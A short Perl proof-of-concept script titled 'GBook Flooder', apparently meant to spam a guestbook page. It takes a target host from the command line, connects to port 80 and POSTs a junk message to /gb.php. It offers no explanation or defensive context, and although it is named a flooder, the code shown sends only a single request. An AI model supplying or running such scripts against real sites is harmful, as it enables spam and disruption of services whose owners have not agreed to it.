GBook Flooder

#!/usr/bin/perl

use IO::Socket;
use Getopt::Std;
getopts("h:");
print "\tJust a POC by XodoX\n\n";

if(!$opt_h) {
 die("Usage: $0 -h <host>\n");
}

$host = $opt_h;
$port = 80;
print "[x] Host: $host\n";

$request = "POST /gb.php?message=blablub HTTP/1.0\n";
$request .= "Host: ".$host."\n\n";

$sock = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $host, PeerPort => $port) 
or die("Can't connect!");
$sock->send($request);
$sock->recv($data, 1024);
$sock->recv($data, 9999999);
print "[x] Data:\n\n $data\n";